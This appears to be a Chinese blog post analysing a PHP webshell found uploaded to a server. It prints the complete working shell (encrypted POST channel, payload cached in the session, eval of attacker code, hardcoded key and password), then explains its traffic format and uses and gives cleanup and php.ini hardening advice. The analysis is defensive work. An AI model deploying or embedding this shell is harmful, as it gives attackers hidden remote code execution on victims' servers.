【PHP】PHP WebShell(网页木马)分析

前几天,收到某台服务器异常警告,在附件文件夹中发现了一个异常上传的php文件,和大家分享一下文件内容,注意服务器安全。

源代码文件名:e9b94bd64ae7e66c5988e07d29e21c3d.php

php 复制代码
<?php
@session_start();
@set_time_limit(0);
@error_reporting(0);
function encryption($data, $mode,$key) {
    $result = false;
    $iv = "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00";
    $blocksize = 16;
    $size = strlen($data)%16;
    if (function_exists("openssl_encrypt") && $mode<2) {
        if ($mode == 1) {
            $pad = $blocksize - (strlen($data) % $blocksize);
            $data.= str_repeat(chr($pad), $pad);
            $result = @openssl_encrypt($data, "AES-128-ECB", $key, OPENSSL_RAW_DATA | OPENSSL_ZERO_PADDING,$iv);
        } else if (!$size){
            $result = @openssl_decrypt($data, "AES-128-ECB", $key, OPENSSL_RAW_DATA | OPENSSL_ZERO_PADDING,$iv);
        }
    } else if (function_exists("mcrypt_encrypt")&&$mode<2) {
        if ($mode == 1) {
            $pad = $blocksize - (strlen($data) % $blocksize);
            $data.= str_repeat(chr($pad), $pad);
            $result = @mcrypt_encrypt("rijndael-128", $key, $data, "ecb", $iv);
        } else if (!$size){
            $result = @mcrypt_decrypt("rijndael-128", $key, $data, "ecb", $iv);
        }
    }
    if (!$result)
    {
        $len = strlen($data);
        $keyLen = strlen($key);
        $index = 0;
        for ($i = 1; $i <= $len; $i++) {
            $index = $i - 1;
            $data[$index] = $data[$index] ^ $key[($i % $keyLen)];
        }
        return $data;
    }
    if ($mode == 0) {
        $pad = ord($result {
        strlen($result) - 1
        });
        if ($pad > strlen($result)) return false;
        if (strspn($result, chr($pad), strlen($result) - $pad) != $pad) return false;
        $result = substr($result, 0, -1 * $pad);
    }
    return $result;
}

$pass = 'pass';
$payloadName = 'payload';
$key = '3c6e0b8a9c15224a';
if (isset($_POST[$pass])) {
    $data = base64_decode($_POST[$pass]);
    if (isset($_SESSION[$payloadName])) {
        $payload = encryption($_SESSION[$payloadName],0, $key);
        if (strpos($payload, "getBasicsInfo") === false) {
            $payload = encryption($_SESSION[$payloadName],0, $key);
        }
        $data = encryption($data,0, $key);
        eval($payload);
        echo substr(md5($pass.$key), 0, 16);
        echo base64_encode(encryption(@run($data),1,$key));
        echo substr(md5($pass.$key), 16);
    } else {
        $data = encryption($data,2,$key);
        if (strpos($data, "getBasicsInfo") !== false) {
            $_SESSION[$payloadName] = encryption($data,1, $key);
        }
    }
}

这段代码是一个典型的 PHP WebShell(网页木马),用于远程控制服务器。它通过加密通信和会话存储实现隐蔽的代码执行。以下是详细分析:


核心功能

  1. 加密通信:使用 AES-128-ECB 对传输的数据进行加密,避免明文特征被检测
  2. 会话持久化 :将恶意代码(payload)存储在 $_SESSION 中,实现无文件落地执行
  3. 动态代码执行 :通过 eval() 执行攻击者发送的任意 PHP 代码
  4. 双向验证:通过 MD5 校验和确认通信完整性

代码流程解析

初始化
php 复制代码
@session_start();          // 开启会话存储payload
@set_time_limit(0);        // 取消执行时间限制
@error_reporting(0);       // 屏蔽错误信息,隐藏痕迹
加密函数(关键)
php 复制代码
function encryption($data, $mode, $key) {
    // 优先使用 openssl,备选 mcrypt,最后降级为异或
    // $mode: 0=解密, 1=加密, 2=异或解密
}
主逻辑
php 复制代码
$pass = 'pass';                    // 通信密码
$payloadName = 'payload';          // 会话变量名
$key = '3c6e0b8a9c15224a';         // 硬编码的16字节密钥

if (isset($_POST[$pass])) {        // 接收POST参数"pass"
    
    // 第一次请求:上传payload
    if (!isset($_SESSION[$payloadName])) {
        $data = encryption(base64_decode($_POST[$pass]), 2, $key);
        if (strpos($data, "getBasicsInfo") !== false) {
            $_SESSION[$payloadName] = encryption($data, 1, $key); // 加密存入session
        }
    } 
    // 后续请求:执行命令
    else {
        $payload = encryption($_SESSION[$payloadName], 0, $key); // 从session解密payload
        $data = encryption(base64_decode($_POST[$pass]), 0, $key); // 解密命令数据
        eval($payload);                                          // 执行payload
        echo md5校验和 + base64_encode(加密结果) + md5校验和;     // 返回加密数据
    }
}

通信特征

请求示例:

http 复制代码
POST /shell.php HTTP/1.1
pass=base64_encode(加密数据)

响应格式:

复制代码
[前16位MD5][base64加密结果][后16位MD5]

典型用途

攻击者可利用此木马实现:

  • 文件操作(上传/下载/删除)
  • 命令执行(system(), exec())
  • 数据库操作
  • 内网渗透
  • 安装后门程序

安全警告

⚠️ 法律风险 :使用、传播或部署此类代码违反《网络安全法》等法规,可能导致刑事责任

⚠️ 检测难点 :加密流量+无文件特征,传统IDS/IPS难以检测

⚠️ 处置建议:

  1. 立即删除可疑文件
  2. 检查 $_SESSION 存储路径清理残留
  3. 审计服务器访问日志
  4. 修改所有密码,排查系统漏洞
  5. 使用 php.ini 禁用 eval() 等危险函数

防御措施

ini 复制代码
; php.ini配置
disable_functions = eval,exec,shell_exec,system,passthru
open_basedir = /var/www/html
session.save_path = /tmp/sessions  ; 限制session目录权限

该木马属于 "内存马" 的变种,通过加密和会话机制实现高级隐蔽性,是常见的网站攻击工具。

相关推荐
will_net10 分钟前
apollo 站点部署&C#接入
开发语言·c#·apollo
晗夜未央1 小时前
任务队列反复失败,先分清重试、阻塞和结果待核对
开发语言·javascript
熊猫钓鱼>_>1 小时前
四种书签,一条时间线:一个读书 App 的记忆颗粒与它的边界案例【鸿蒙心迹】
开发语言·华为·ai编程·harmonyos·鸿蒙·openharmony·鸿蒙pc
努力努力再努力wz1 小时前
【Lua 入门系列】Lua 函数深入理解:函数对象、多返回值、可变参数、闭包、递归与尾调用优化
开发语言·lua
Patrick在香港1 小时前
一个斜杠,把毫秒变成十几秒
android·数据库·python·性能优化·正则表达式·回溯·redos
飞浪纪元[FWC–FE]2 小时前
从零到一键绿:Qt 5.14.2 + VS2019 开发环境搭建、Kit 套件配置与构建错误修复完全手册
开发语言·qt
Wang's Blog2 小时前
Java 项目实战:交友项目 - 联系人列表
java·开发语言·交友
我命由我123452 小时前
访客系统形式(有用户概念、无用户概念)
java·开发语言·前端·javascript·python·产品运营·产品经理
架构师伯子明2 小时前
FFmpeg C++学习(一):编译和demo
开发语言·c++·学习
李纲明2 小时前
WordPress 媒体库上传图片失败:先核 PHP 体积与目录权限,再查安全插件与对象存储
php·上传·wordpress·媒体库·devdiy